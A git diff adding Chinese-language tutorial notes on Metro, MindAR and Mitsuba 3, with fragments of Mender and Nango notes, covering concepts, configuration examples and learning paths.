**delta updates**(Mender 支持差分包) | +| 内网无法出网 | 无直连 Server | 部署 **Mender Gateway** | + +--- + +## 小结 + +Mender 把嵌入式 OTA 拆成清晰三层:**构建侧** 产出标准 Artifact,**Server** 管 fleet 与部署策略,**Client** 在设备上完成 A/B 原子切换与 commit/rollback。对零基础学习者,先建立「双分区换系统 + 塔台调度」的心智模型,再用 QEMU 或树莓派走通一条 **artifact write → upload → deploy → commit** 链路,比死记 API 更有效。 + +--- + +## 延伸阅读 + +- 官方仓库:[mendersoftware/mender](https://github.com/mendersoftware/mender)(Client);Server 为多 repo 微服务 +- 文档:[How Mender works](https://mender.io/engineers/how-mender-works) +- Yocto layer:[meta-mender](https://github.com/mendersoftware/meta-mender) +- 同领域笔记:[[esphome]](MCU 级 OTA)、[[zephyr]](RTOS 侧 DFU)、[[buildroot]] / [[ansible]](构建与配置管理) diff --git a/src/content/docs/projects/metro.md b/src/content/docs/projects/metro.md new file mode 100644 index 000000000..bc6f7b7b2 --- /dev/null +++ b/src/content/docs/projects/metro.md @@ -0,0 +1,240 @@ +--- +title: Metro — React Native 的 JavaScript 打包器 +来源: https://github.com/facebook/metro +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +**Metro** 是 Meta(Facebook)为 **React Native** 打造的开源 JavaScript 打包器(bundler)。它把分散在工程里的 `.js` / `.ts` / `.tsx`、图片、字体等资源,沿着 `import` / `require` 关系递归收集,**编译、合并、序列化**成手机 App 或开发服务器能加载的单个(或少量)bundle。 + +日常类比:Metro 像一家**地铁调度中心**(名字 Metro 即「地铁」)—— + +- 每个源文件是一个**站点**; +- `import` 是**线路**; +- Resolver(解析器)负责查时刻表、决定列车走哪条线; +- Transformer(转换器)在站台把乘客(源码)翻译成统一格式(Babel 转译后的 JS); +- Serializer(序列化器)把整条线路上的车厢**编组**成一列完整列车(bundle); +- Dev Server 在开发时**按需发车**:你改一个文件,只重新编组受影响的那几节车厢(增量构建),而不是每次整列重造。 + +React Native 从第一天起就用 Metro;Expo、`npx react-native start`、EAS Build 底层都是它。官方文档:[metrobundler.dev](https://metrobundler.dev/),源码:[facebook/metro](https://github.com/facebook/metro)。 + +## 为什么重要 + +不理解 Metro,下面这些 RN / 移动端前端现象就说不清: + +- **为什么 `npx react-native start` 默认监听 8081**——Metro dev server 的默认端口 +- **为什么改 `.tsx` 能秒级热更新,改 `metro.config.js` 却要重启**——配置在 bundler 启动时加载,模块图缓存与 watcher 绑定在旧配置上 +- **为什么可以写 `import icon from './icon.png'`**——Metro 把 PNG 当 asset 模块处理,运行时返回 `require` 解析后的资源 ID +- **为什么同一份代码能 `import './foo.ios.js'` 和 `import './foo.android.js'`**——平台扩展(platform extensions)由 Resolver 按 `platform` 参数选文件 +- **为什么 Hermes 的 `.hbc` 字节码是在 Metro bundle 之后生成的**——Metro 产出 JS bundle,Hermes 编译器在原生构建阶段再把它变成字节码 + +## 核心概念 + +Metro 的配置与流水线围绕五个子系统组织(见官方 Configuration 文档): + +``` +入口 (entry) + │ + ▼ +┌───────────┐ 模块名 → 绝对路径 +│ Resolver │ 处理 node_modules、别名、平台扩展、资源 +└─────┬─────┘ + ▼ +┌─────────────┐ Babel / TS / 自定义 transformer +│ Transformer │ +└─────┬───────┘ + ▼ +┌─────────────┐ 依赖图 → 单个 JS 字符串 + source map +│ Serializer │ +└─────┬───────┘ + ▼ +┌─────────────┐ HTTP 提供 bundle;HMR / Fast Refresh +│ Server │ 默认开发端口 8081 +└─────────────┘ +``` + +### 1. Resolver(模块解析) + +给定 `import X from 'moduleName'`,Resolver 回答:**磁盘上的哪个文件**对应这个模块? + +默认规则(`metro-resolver`)大致包括: + +- **相对路径** `./foo`、`../bar` → 按目录查找 +- **node_modules** → 读 `package.json` 的 `main` / `browser` / `react-native` 字段(RN 默认 `resolverMainFields: ['react-native', 'browser', 'main']`) +- **平台扩展**:存在 `Button.ios.js` 与 `Button.android.js` 时,打 iOS bundle 选前者 +- **资源扩展**:`.png`、`.jpg` 等列入 `assetExts`,不走 Babel,而是生成 asset 描述符 +- **自定义 `resolveRequest`**:别名、`@/` 路径、重定向到 shim,都挂在这里 + +### 2. Transformer(转换) + +把每个源文件变成 Metro 内部统一的 **JS 模块** 表示。React Native 默认使用 `@react-native/metro-babel-transformer`,底层走 Babel preset(`@react-native/babel-preset`)。 + +常见选项: + +- `inlineRequires: true`(默认)——把 `require` 推迟到函数内执行,缩短启动时同步加载链,改善 TTI +- `babelTransformerPath`——换成自定义 transformer(例如 SVG 转组件) +- `getTransformOptions`——按 bundle 类型(dev / prod、平台)动态返回选项 + +### 3. Serializer(序列化) + +把整张**依赖图**摊平成浏览器 / JSC / Hermes 能执行的 **IIFE 模块包裹格式**(类似 webpack 的 module wrapper),并可选生成 source map、插入 polyfill、`getModulesRunBeforeMainModule`(RN 用来先跑 `InitializeCore`)。 + +### 4. Server 与增量构建 + +开发模式下 Metro **不**每次全量打包整个 `node_modules`。它维护依赖图缓存,配合 Watchman(或 Node watcher)监听文件变更,只重新 transform 受影响的模块——这是 RN 开发体验「改代码几秒内见效果」的基础。配合 **Fast Refresh**,React 组件状态在多数编辑场景下得以保留。 + +### 5. 配置文件优先级 + +Metro 读取配置的优先级(高到低): + +1. `metro.config.js` +2. `metro.config.json` +3. `package.json` 里的 `"metro"` 字段 + +React Native 项目应 **extend** `@react-native/metro-config`(Expo 用 `expo/metro-config`),否则缺少 RN 必需的 serializer / transformer 默认值。 + +## 实践案例 + +### 案例 1:标准 `metro.config.js`(合并默认配置) + +这是 RN 模板工程最常见的写法:拿默认配置,再覆盖自己关心的字段。 + +```javascript +// metro.config.js +const { getDefaultConfig, mergeConfig } = require('@react-native/metro-config'); + +/** @type {import('metro-config').MetroConfig} */ +const config = { + resolver: { + // 让 Metro 把 .svg 当源码用 SVGR 处理,而不是当静态资源 + assetExts: getDefaultConfig(__dirname).resolver.assetExts.filter( + (ext) => ext !== 'svg', + ), + sourceExts: [...getDefaultConfig(__dirname).resolver.sourceExts, 'svg'], + }, + transformer: { + babelTransformerPath: require.resolve('react-native-svg-transformer'), + }, +}; + +module.exports = mergeConfig(getDefaultConfig(__dirname), config); +``` + +要点: + +- `getDefaultConfig(__dirname)` 带上 RN 的 `platforms`、`resolverMainFields`、`inlineRequires` 等关键默认项 +- `mergeConfig` 做深合并,避免手写时漏掉 `serializer.getPolyfills` 之类隐形依赖 +- 改 `assetExts` / `sourceExts` 后需**重启** dev server + +### 案例 2:自定义 Resolver 做路径别名 + +Monorepo 里常把 `@app` 指到 `src/`,或在 web 平台把 `react-native` 指到 `react-native-web`。Metro 推荐在 **`resolveRequest`** 里做,而不是只靠 Babel 插件——这样依赖图、HMR、预构建缓存与解析结果一致。 + +```javascript +// metro.config.js +const path = require('path'); +const { getDefaultConfig, mergeConfig } = require('@react-native/metro-config'); + +const ALIASES = { + '@app': path.resolve(__dirname, 'src'), +}; + +const defaultConfig = getDefaultConfig(__dirname); + +const config = { + watchFolders: [path.resolve(__dirname, '..')], // monorepo 根,让 Metro 能 watch 兄弟包 + resolver: { + resolveRequest: (context, moduleName, platform) => { + if (moduleName.startsWith('@app/')) { + const filePath = path.join( + ALIASES['@app'], + moduleName.replace('@app/', ''), + ); + return context.resolveRequest( + context, + filePath, + platform, + ); + } + // 必须回退到默认 resolver,否则 node_modules 解析会断 + return context.resolveRequest(context, moduleName, platform); + }, + }, +}; + +module.exports = mergeConfig(defaultConfig, config); +``` + +Expo 文档补充:若项目有 `tsconfig.json` 的 `paths`,`expo/metro-config` 可自动映射;纯 RN 则需手写或借助社区方案。别名逻辑变更后**重启 server** 即可,一般不必 `--reset-cache`(与纯 Babel alias 不同)。 + +### 案例 3:CLI 离线打 production bundle + +不启动 dev server,直接把入口打成文件——CI、调试 bundle 体积时常用: + +```bash +# 为 Android 打生产包,输出 bundle + source map +npx metro build index.js \ + --platform android \ + --dev false \ + --minify true \ + --out android-release.bundle \ + --source-map + +# 列出某入口会打进 bundle 的全部依赖(排查意外 import 很有用) +npx metro get-dependencies index.js --platform ios +``` + +在 RN 工程里,Release 构建通常由 Gradle / Xcode 脚本调用 Metro,参数与上述类似,并可能链接 Hermes 编译步骤。 + +## Metro vs Webpack / Vite + +| 维度 | Metro | Webpack | Vite | +|------|-------|---------|------| +| 主战场 | React Native、Expo | 通用 Web、历史 RN | 现代 Web | +| 模块格式 | CommonJS 风格 wrapper + RN 约定 | ESM/CJS 均可 | 原生 ESM dev | +| 多平台 | 一等公民(`platform` 参数) | 需额外配置 | 主要针对 Web | +| 资源 | `assetExts` + 多倍图 `@2x` | loader / asset modules | 内置静态资源 | +| 默认 HMR | Fast Refresh(RN) | HMR 插件 | 原生 ESM HMR | + +Metro **不追求**成为通用 Web 打包器的超集;它的优化假设是:移动 App、单入口、平台分叉、与 Hermes/JSC 配合、dev server 与真机/模拟器协同。 + +## 常见问题与排错 + +**白屏 / Unable to resolve module** + +- 检查包是否在 `watchFolders` 覆盖范围内(monorepo) +- 新加了原生不认识的扩展?补 `sourceExts` 或 `assetExts` +- 执行 `npx react-native start --reset-cache` 清 transformer 缓存(比改 resolver 更「重」) + +**改配置不生效** + +- `metro.config.js` 变更必须重启 Metro;仅改业务源码则不必 + +**Bundle 体积暴涨** + +- 用 `get-dependencies` 看是否误打进大型 dev 依赖 +- 确认 production 构建 `--dev false --minify true` +- 检查 `inlineRequires` 与是否启用了不必要的 polyfill + +**与 Hermes 的关系** + +- Metro 输出 **JavaScript bundle**;Release 时 Android Gradle / iOS 构建链再调用 `hermesc` 生成 `.hbc`。调试 Metro 问题时不要和 Hermes 字节码混为一谈——先确认 JS bundle 本身是否正确。 + +## 学习路径建议 + +1. 跑起一个最小 RN 或 Expo 项目,`npx react-native start` / `npx expo start`,观察 8081 日志里的 `transform` 与 `bundle` 事件 +2. 读官方 [Configuration](https://metrobundler.dev/docs/configuration/) 与 [Resolution](https://github.com/facebook/metro/blob/main/docs/Resolution.md),对照 `metro.config.js` 改一项、验证一项 +3. 用 `get-dependencies` 理解「入口文件实际拉进了哪些模块」 +4. 需要 monorepo / SVG / symlinks 时,再深入 `resolveRequest` 与 `watchFolders` +5. 与 [Hermes](./hermes.md) 笔记连读:Metro 管「怎么打包」,Hermes 管「怎么在手机上更快执行打包结果」 + +## 参考链接 + +- 源码与文档:[github.com/facebook/metro](https://github.com/facebook/metro) +- 配置参考:[metrobundler.dev/docs/configuration](https://metrobundler.dev/docs/configuration/) +- React Native 集成:[reactnative.dev/docs/metro](https://reactnative.dev/docs/metro) +- Expo 定制 Metro:[docs.expo.dev/guides/customizing-metro](https://docs.expo.dev/guides/customizing-metro/) diff --git a/src/content/docs/projects/mind-ar-js.md b/src/content/docs/projects/mind-ar-js.md new file mode 100644 index 000000000..6c636a327 --- /dev/null +++ b/src/content/docs/projects/mind-ar-js.md @@ -0,0 +1,225 @@ +--- +title: MindAR — Web 图像/人脸 AR +来源: https://github.com/hiukim/mind-ar-js +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +MindAR([hiukim/mind-ar-js](https://github.com/hiukim/mind-ar-js))是一套**纯浏览器端**的 Web AR 库,支持 **图像追踪(Image Tracking)** 和 **人脸追踪(Face Tracking)**。底层用 TensorFlow.js 在 WebGL 上跑特征检测与跟踪,上层提供 A-Frame 扩展和 Three.js API,让你用静态 HTML 就能做出「扫海报出 3D 模型」「试戴虚拟眼镜」这类体验。 + +日常类比:想象你在博物馆看一幅名画,手机摄像头对准画框,画面上「长」出一段讲解动画——MindAR 负责两件事:认出「就是这幅画」(图像追踪),以及把 3D 内容稳稳贴在画上(位姿跟踪)。人脸模式则像短视频滤镜:库持续跟踪鼻尖、额头、耳垂等锚点,你把帽子、眼镜模型挂到对应锚点上,用户转头时配饰跟着动。 + +和需要安装 App 的 ARKit / ARCore 不同,MindAR **零原生依赖**:一个 `.html` 文件 + CDN 脚本 + 本地静态服务器即可在 Chrome / Safari 移动端跑通。若要做 GPS 定位 AR 或黑白 fiducial 标记追踪,官方建议改用 [AR.js](https://github.com/AR-js-org/AR.js);MindAR 专注「自然特征」图像与人脸。 + +```html + + + + + + + +``` + +## 为什么重要 + +不了解 MindAR,下面这些事很难在 Web 侧落地: + +- **营销/展览扫码互动**:海报、包装盒、门票上的印刷图可直接当「锚点」,无需贴 AR 专用二维码 +- **电商虚拟试戴**:眼镜、帽子、耳环挂到人脸 486 个 landmark 锚点之一,比从零接 MediaPipe + Three.js 省大量胶水代码 +- **与 A-Frame 生态衔接**:已有 WebVR 经验的人,用 `mindar-image-target` / `mindar-face-target` 组件即可扩展 AR,学习曲线平缓 +- **编译期预处理**:目标图特征提取在构建时完成,运行时只加载紧凑的 `.mind` 文件,首屏比现场算特征快得多 + +## 核心概念 + +### 1. 两条产品线:Image vs Face + +| 模式 | 入口脚本 | 场景属性 | 锚定方式 | +|------|----------|----------|----------| +| 图像追踪 | `mindar-image-aframe.prod.js` | `mindar-image="imageTargetSrc: ..."` | `mindar-image-target="targetIndex: N"` | +| 人脸追踪 | `mindar-face-aframe.prod.js` | `mindar-face` | `mindar-face-target="anchorIndex: N"` | + +图像模式:一张印刷图 = 一个 target,`targetIndex` 从 0 起,支持多图同场景。人脸模式:基于 TensorFlow 人脸 mesh,**486 个 anchorIndex**(鼻尖常为 `1`,额头附近 `10`,详见 [mesh_map.jpg](https://github.com/tensorflow/tfjs-models/blob/master/face-landmarks-detection/mesh_map.jpg))。 + +### 2. 编译目标图 → `.mind` 文件 + +图像追踪不能直接把 JPG 丢进运行时——须先用 **Image Targets Compiler**([在线编译器](https://hiukim.github.io/mind-ar-js-doc/tools/compile) 或 npm 包里的 `Compiler`)扫描图片,提取角点、边缘等 **feature points**,序列化为 `.mind`。 + +好目标图特征:纹理丰富、对比明显、无大块留白;反面教材是纯色墙或重复条纹。编译完成后可下载可视化图,绿点表示特征分布——点太少或挤在一角会导致识别不稳。 + +### 3. AR 引擎只做一件事 + +官方文档强调:MindAR **只负责更新 `a-entity` 的可见性与位姿**。3D 内容(平面、glTF、动画)仍由 A-Frame / Three.js 渲染;业务逻辑(切换配饰、计分、跳转)用普通 JavaScript 事件完成。图像追踪常见事件:`targetFound`、`targetLost`;人脸试戴则常用 `visible` 属性切换多个互斥模型。 + +### 4. TensorFlow.js + WebGL 后端 + +检测与跟踪核心写在 TF.js 算子里,推理走 **WebGL backend**(GPU)。首次加载会下载模型权重,移动端建议控制 glTF 面数与纹理尺寸。桌面调试需 **localhost HTTP 服务**——`file://` 打开会因摄像头权限和模块加载失败;`npx serve .` 或 Vite 开发服务器即可。 + +### 5. Three.js 路径(进阶) + +除 A-Frame 外,dist 还提供 `mindar-image.prod.js` / `mindar-face.prod.js`,可 `new MindARThree({ container, imageTargetSrc })` 手动挂 Three.js 场景,适合已有 Three 管线、不想引入 A-Frame 的项目。examples 目录有 `three.html` 演示启停相机、前后摄切换。 + +## 实践案例 + +### 案例 1:图像追踪 — 扫描贺卡弹出 3D 角色 + +完整静态页(与官方 Quick Start 一致,版本可改用 npm `mind-ar@1.2.5`): + +```html + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +**要点**: + +- `imageTargetSrc` 指向预编译的 `.mind`,与展示用 `card.png` 内容对应 +- `look-controls="enabled: false"` 防止用户拖拽视角干扰 AR 相机 +- 子实体坐标相对 target 平面,单位与 A-Frame 一致(target 宽度通常为 1) + +监听识别状态(可加在 `` 前): + +```html + + +``` + +### 案例 2:人脸追踪 — 鼻尖绿球与虚拟帽子试戴 + +最小人脸 demo(鼻尖 anchor `1`): + +```html + + + + + + + + + + + + + + + + +``` + +扩展为试戴帽子:在额头锚点 `10` 挂 glTF,用 JS 切换可见性(官方 [Virtual Try-On](https://hiukim.github.io/mind-ar-js-doc/face-tracking-examples/tryon/) 同款模式): + +```html + + + + + + + + + +``` + +人脸场景常用 **head occluder**(`mindar-face-occluder` + 头部遮挡用 glb)让眼镜腿藏进头发后面,立体感更真实。 + +## 与相关项目的关系 + +```mermaid +flowchart LR + subgraph 输入 + IMG[印刷图 / 照片] + CAM[前置摄像头] + end + subgraph MindAR + COMP[Compiler → .mind] + TF[TensorFlow.js 跟踪] + POSE[位姿更新] + end + subgraph 渲染 + AF[A-Frame 场景] + THREE[Three.js 可选] + end + IMG --> COMP --> TF + CAM --> TF + TF --> POSE --> AF + POSE --> THREE +``` + +- **[A-Frame](aframe.md)**:MindAR 推荐的场景描述层;`` 即 AR 会话入口 +- **AR.js**:同属 Web AR,偏 GPS / marker;与 MindAR 互补而非替代 +- **PlayCanvas / three.js**:若需重度游戏逻辑,可用 MindAR Three API 把跟踪矩阵喂给自有渲染循环 + +## 开发与部署清单 + +1. **本地**:`npx serve .` 或 `python -m http.server`,HTTPS 生产环境摄像头权限更稳 +2. **编译**:自有图片 → [Image Targets Compiler](https://hiukim.github.io/mind-ar-js-doc/tools/compile) → `targets.mind` +3. **依赖版本**:A-Frame 与 `mind-ar` 主版本宜与[官方示例](https://hiukim.github.io/mind-ar-js-doc/quick-start/overview)对齐,避免组件 API 漂移 +4. **性能**:限制同时追踪 target 数量;人脸场景减少透明材质与实时阴影 +5. **发布**:纯静态资源,可挂 Vercel / GitHub Pages / 任意 CDN;注意跨域加载 `.mind` 与 glTF 的 CORS 头 + +从仓库开发:`npm run build` 产出 `dist/`;`npm run watch` 便于改 Three 版核心。examples 目录覆盖多目标追踪、自定义 UI、事件接口等,是读完 Quick Start 后的下一站。 + +## 小结 + +MindAR 把「识别物理世界中的图或脸」和「在 WebGL 里贴 3D」拆成清晰两步:**离线编译特征** + **在线跟踪位姿**。零基础路径:选模式 → 编译或选 anchor → 复制 A-Frame 模板 → 本地 HTTP 打开手机测。掌握 `imageTargetSrc`、`.mind`、`targetIndex` / `anchorIndex` 四条主线,就能从贺卡 AR 扩展到多图展览与虚拟试戴产品线。 diff --git a/src/content/docs/projects/mitsuba3.md b/src/content/docs/projects/mitsuba3.md new file mode 100644 index 000000000..d1dd5f915 --- /dev/null +++ b/src/content/docs/projects/mitsuba3.md @@ -0,0 +1,252 @@ +--- +title: Mitsuba 3 — 研究向可微渲染器 +来源: https://github.com/mitsuba-renderer/mitsuba3 +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +--- + +## 是什么 + +**Mitsuba 3** 是瑞士 EPFL Realistic Graphics Lab 开发的开源渲染系统,源码托管于 [mitsuba-renderer/mitsuba3](https://github.com/mitsuba-renderer/mitsuba3)。它既能做传统**正向渲染**(给定场景 → 出图),也能做**可微渲染 / 逆渲染**(给定目标图像 → 反推场景参数)。与 [[pytorch]] 里用栅格化近似 3D 不同,Mitsuba 走**物理正确的光线追踪**,梯度穿过完整光传输过程。 + +日常类比:普通渲染器像**照相馆**——你摆好布景、调好灯光,它负责拍出一张照片。Mitsuba 3 额外装了一台「**反向显微镜**」:你拿着一张目标照片说「我要这种效果」,它能告诉你布景的哪块墙该涂什么色、玻璃该弯成什么弧度、相机该挪到哪里。这台显微镜的数学底座是 **Dr.Jit**(JIT 编译 + 自动微分),Mitsuba 只是它上面挂的一层「光传输模拟插件」。 + +核心定位一览: + +| 维度 | 说明 | +| --- | --- | +| **作者/机构** | Wenzel Jakob 等,EPFL | +| **协议** | BSD 3-Clause | +| **语言** | C++ 核心 + Python 绑定(约 21% Python) | +| **最新版本** | 3.8.x(2026 年仍在活跃维护) | +| **官网** | [mitsuba-renderer.org](https://www.mitsuba-renderer.org/) | + +## 为什么重要 + +零基础接触「可微渲染」,Mitsuba 3 值得单独学的原因: + +- **研究前沿的试验台**:逆渲染、焦散优化、形状重建、NeRF 式辐射场、偏振成像等论文常以 Mitsuba 为参考实现;EGSR 2024 路径采样可微渲染等工作直接提供 Mitsuba 插件 +- **Retargetable(可重定向)**:同一份 C++ 源码可编译出 60+ 种 **variant**——CPU 标量、LLVM 向量化、CUDA GPU、光谱/偏振、单/双精度、是否开启自动微分(`_ad`) +- **物理正确 + 可求导**:比 PyTorch3D / TensorFlow Graphics 的栅格化近似更贴近真实光传输;比纯神经网络重建更可解释 +- **Python 一等公民**:`pip install mitsuba` 后即可在 Jupyter 里加载 Cornell Box、渲染、反向优化,不必先写 C++ +- **跨学科**:除图形学,还用于天文成像、显微、医学成像等需要「从测量反推物理参数」的领域 + +和 [[appleseed]]、[[luxcorerender]] 等生产向离线渲染器不同,Mitsuba **不追求 DCC 插件生态或动画流水线**,而是把「渲染算法本身可微、可换后端」做到极致。 + +## 核心要点 + +### 1. Variant:先选「引擎档位」,再写代码 + +Mitsuba 启动后第一件事是 `mi.set_variant(...)`。Variant 名由多段拼成,例如 `llvm_ad_rgb`: + +``` +{后端}_{是否AD}_{颜色表示}_{是否偏振}_{是否双精度} +``` + +常见后端: + +| 后端 | 含义 | +| --- | --- | +| `scalar` | CPU 逐光线,最易调试 | +| `llvm` | CPU 向量化,一次处理大量光线 | +| `cuda` | NVIDIA GPU + OptiX 光追,wavefront path tracer | + +`pip install mitsuba` 默认只带部分 variant(如 `scalar_rgb`、`llvm_ad_rgb`、`cuda_ad_rgb`),避免下载巨型 wheel。需要冷门组合(如 `llvm_ad_spectral_polarized`)需从源码编译。 + +**可微渲染必须选带 `_ad` 的 variant**,否则 `dr.backward()` 无法工作。 + +### 2. Dr.Jit:Mitsuba 背后的 JIT + 自动微分 + +[Mitsuba Dr.Jit](https://github.com/mitsuba-renderer/drjit) 是专为渲染设计的数组语言与 JIT 编译器。它与 [[pytorch]] autograd 的对比(官方文档强调): + +- Dr.Jit 针对**稀疏、含不连续性的光传输**优化;普通 AD 在可见性突变(阴影边缘)处梯度常为 0 或错误 +- 支持 **forward** 与 **reverse** 两种模式:优化多用 reverse(一次 backward 得到所有参数梯度);可视化「某个参数如何影响图像」用 forward +- `mi.Float`、`mi.Color3f`、`mi.TensorXf` 等类型与 NumPy 互通,但计算图由 Dr.Jit 记录 + +### 3. 场景与插件架构 + +场景可用 **XML**(`mi.load_file("scene.xml")`)或 **Python 字典**描述。功能由插件实现: + +| 插件类型 | 示例 | +| --- | --- | +| **Integrator** | `path`(路径追踪)、`prb`(Path Replay Backpropagation,可微)、`direct_projective` / `prb_projective`(处理几何不连续梯度) | +| **BSDF** | `diffuse`、`conductor`、`dielectric`、`plastic` | +| **Emitter** | `area`、`point`、`envmap` | +| **Shape** | `obj`、`ply`、`rectangle`、`sphere` | +| **Sensor** | `perspective`、`orthographic` | + +`mi.traverse(scene)` 返回可优化参数字典,键名如 `'red.reflectance.value'`、`'sphere.vertex_positions'`。 + +### 4. 可微渲染在算什么? + +把渲染看成函数 \(f(\mathbf{x}) \rightarrow \mathbf{y}\): + +- \(\mathbf{x}\):场景参数(材质、几何、相机位姿、纹理……) +- \(\mathbf{y}\):渲染图像 +- 目标:最小化损失 \(g(\mathbf{y}, \mathbf{y}_{\text{ref}})\),用梯度下降更新 \(\mathbf{x}\) + +**难点**:阴影边界、镜面反射、焦散等处,可见性对参数不连续,朴素 autograd 梯度缺失。Mitsuba 用 **PRB**(VSJ21)和 **projective sampling**(Nicolet 等)等积分器专门估计这些项。 + +### 5. 正向 vs 逆渲染工作流 + +``` +正向:场景 XML → mi.render() → 图像 PNG/EXR +逆向:参考图 + 初始场景 → 循环 { render → loss → dr.backward → optimizer.step } → 恢复参数 +``` + +官方教程覆盖:焦散优化、物体位姿估计、体积逆渲染、形状优化、类 NeRF 辐射场重建、与 PyTorch 互操作等。 + +### 6. 安装与环境 + +```bash +# 推荐:Python 3.10+,pip 安装(含预编译 variant) +pip install mitsuba + +# GPU 可微渲染需要 NVIDIA RTX(Turing 及更新更佳)+ CUDA 驱动 +# macOS / 无 NVIDIA 时可用 llvm_ad_* 在 CPU 上跑可微渲染(较慢) +``` + +从源码编译见官方 [Compiling](https://mitsuba.readthedocs.io/en/stable/src/developer_guide/compiling.html);WSL2 有专门文档。 + +## 代码示例 + +### 示例 1:最小正向渲染 — Cornell Box + +入门第一步:选 variant、加载场景、渲染、存盘。与官方 Quickstart 一致。 + +```python +import mitsuba as mi + +# 1. 必须最先设置 variant(之后创建的对象都绑定到该后端) +mi.set_variant("scalar_rgb") + +# 2. 从 XML 加载场景(可用关键字覆盖 XML 里的变量) +scene = mi.load_file("scenes/cbox.xml") + +# 3. 渲染:spp = samples per pixel,越高噪点越少 +image = mi.render(scene, spp=256) + +# 4. 保存:PNG 会自动 tonemap 到 sRGB;EXR 保留线性 HDR +mi.util.write_bitmap("cbox.png", image) +mi.util.write_bitmap("cbox.exr", image) +``` + +要点:`scalar_rgb` 适合学习与调试;要 GPU 大批量光线可换 `cuda_rgb`;**不要**在运行中随意 `set_variant`,不同 variant 创建的对象互不兼容。 + +### 示例 2:可微渲染 + Adam 优化 — 恢复红墙颜色 + +改编自官方 Gradient-based optimization 教程:先把红墙故意改成蓝色,再用 PRB 积分器 + 反向传播把反照率拉回参考图。 + +```python +import drjit as dr +import mitsuba as mi + +mi.set_variant("llvm_ad_rgb") # 必须带 _ad + +# 加载 Cornell Box,指定分辨率与可微积分器 prb +scene = mi.load_file("scenes/cbox.xml", res=128, integrator="prb") + +# 渲染无噪参考图 +image_ref = mi.render(scene, spp=512) + +# 取出可优化参数并故意改错 +params = mi.traverse(scene) +key = "red.reflectance.value" +param_ref = mi.Color3f(params[key]) +params[key] = mi.Color3f(0.01, 0.2, 0.9) # 偏蓝 +params.update() + +# Adam 优化器 +opt = mi.ad.Adam(lr=0.05) +opt[key] = params[key] +params.update(opt) + +def mse(img): + return dr.mean(dr.square(img - image_ref)) + +for it in range(50): + image = mi.render(scene, params, spp=4) # 每步少量 spp 换速度 + loss = mse(image) + dr.backward(loss) # 穿过光传输反向传播 + opt.step() + opt[key] = dr.clip(opt[key], 0.0, 1.0) # 颜色裁剪到合法范围 + params.update(opt) + +image_final = mi.render(scene, spp=128) +mi.util.write_bitmap("recovered.png", image_final) +``` + +这段代码体现了可微渲染的**标准闭环**:`render → loss → backward → step → params.update`。`params` 必须把优化器里的新值写回场景,否则下一轮渲染仍用旧材质。 + +### 示例 3(进阶):前向模式梯度图 — 绿墙颜色如何影响全图 + +前向模式适合「**一个参数、一张梯度图**」的可视化教学(官方 Forward inverse rendering): + +```python +import drjit as dr +import mitsuba as mi + +mi.set_variant("llvm_ad_rgb") +scene = mi.load_file("scenes/cbox.xml") + +params = mi.traverse(scene) +key = "green.reflectance.value" +dr.enable_grad(params[key]) +params.update() + +image = mi.render(scene, params, spp=128) +dr.forward(params[key]) # 对该参数注入单位梯度并前向传播 +grad_image = dr.grad(image) # 每个像素对绿墙颜色的敏感度 + +# grad_image 与 image 同形状,可用 matplotlib 按通道可视化 +``` + +全局光照下,绿墙变色会通过多次反弹影响红墙、白墙甚至阴影区域——梯度图能直观看到这种**远距离耦合**。 + +## 与相关工具对比 + +| 工具 | 渲染方式 | 可微 | 典型用途 | +| --- | --- | --- | --- | +| **Mitsuba 3** | 路径追踪 | 是(核心卖点) | 逆渲染研究、论文复现 | +| [[pytorch]] + PyTorch3D | 栅格化 / 近似 | 是 | 快速 3D 深度学习原型 | +| [[blender]] Cycles | 路径追踪 | 有限 / 外挂 | 内容创作 | +| [[appleseed]] | 路径追踪 | 否(生产渲染) | 动画/VFX 离线成片 | +| [[opencv]] | 图像处理 | 部分 | 2D 视觉,非物理光传输 | + +Mitsuba 不是「比 Blender 更好的出图工具」,而是「**把渲染方程写进 autograd 图里的实验室仪器**」。 + +## 学习路径建议 + +1. **跑通 Quickstart**:`scalar_rgb` + `cbox.xml`,理解 variant 与 `mi.render` +2. **读 Variants 文档**:弄清 `llvm` / `cuda` / `_ad` / `spectral` 何时选用 +3. **跟做 Gradient-based optimization**:理解 `traverse`、`mi.ad.Adam`、`dr.backward` +4. **试 Forward inverse rendering**:建立「梯度图」直觉 +5. **按兴趣选专题**:焦散(caustics)、projective integrators、PyTorch 互操作、自定义 Python 插件 +6. **读论文对照实现**:PRB (VSJ21)、projective sampling (Nicolet 等)、path sampling DR (Su & Gkioulekas, EGSR 2024) + +## 常见坑 + +- **忘记 `set_variant`**:会报错或路由到错误后端 +- **正向渲染用非 `_ad` variant,优化时却用 `_ad`**:两套对象不能混用,从头 `set_variant` 再加载场景 +- **SPP 太低**:优化 loss 被蒙特卡洛噪点主导,参数震荡;参考图要高 spp,优化步可用低 spp +- **可见性不连续**:标准 `prb` 对移动几何/硬阴影可能不够,需 `prb_projective` 或 `direct_projective` +- **GPU variant 无 NVIDIA**:退回 `llvm_ad_rgb`,或源码编译 CPU 专用配置 + +## 延伸阅读 + +- 官方文档:[mitsuba.readthedocs.io](https://mitsuba.readthedocs.io/) +- Dr.Jit 文档:[drjit.readthedocs.io](https://drjit.readthedocs.io/) +- 引用: + +```bibtex +@software{Mitsuba3, + title = {Mitsuba 3 renderer}, + author = {Wenzel Jakob and S{\'e}bastien Speierer and Nicolas Roussel and others}, + url = {https://mitsuba-renderer.org}, + year = {2022} +} +``` + +- 相关笔记:[[pytorch]](自动微分直觉)、[[appleseed]](传统物理渲染对比)、[[triton-llm]](另一类 JIT 编译思路) diff --git a/src/content/docs/projects/nango.md b/src/content/docs/projects/nango.md new file mode 100644 index 000000000..0f98413a7 --- /dev/null +++ b/src/content/docs/projects/nango.md @@ -0,0 +1,263 @@ +--- +title: Nango — 产品集成的托管 OAuth 与函数运行时 +来源: https://github.com/NangoHQ/nango +日期: 2026-06-13 +分类: 后端 API +子分类: Web 后端 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +Nango 是**面向 SaaS 产品的第三方 API 集成平台**——帮你把「用户授权 Google / Salesforce / HubSpot」这件事,从「每个 API 各写一套 OAuth + token 刷新 + 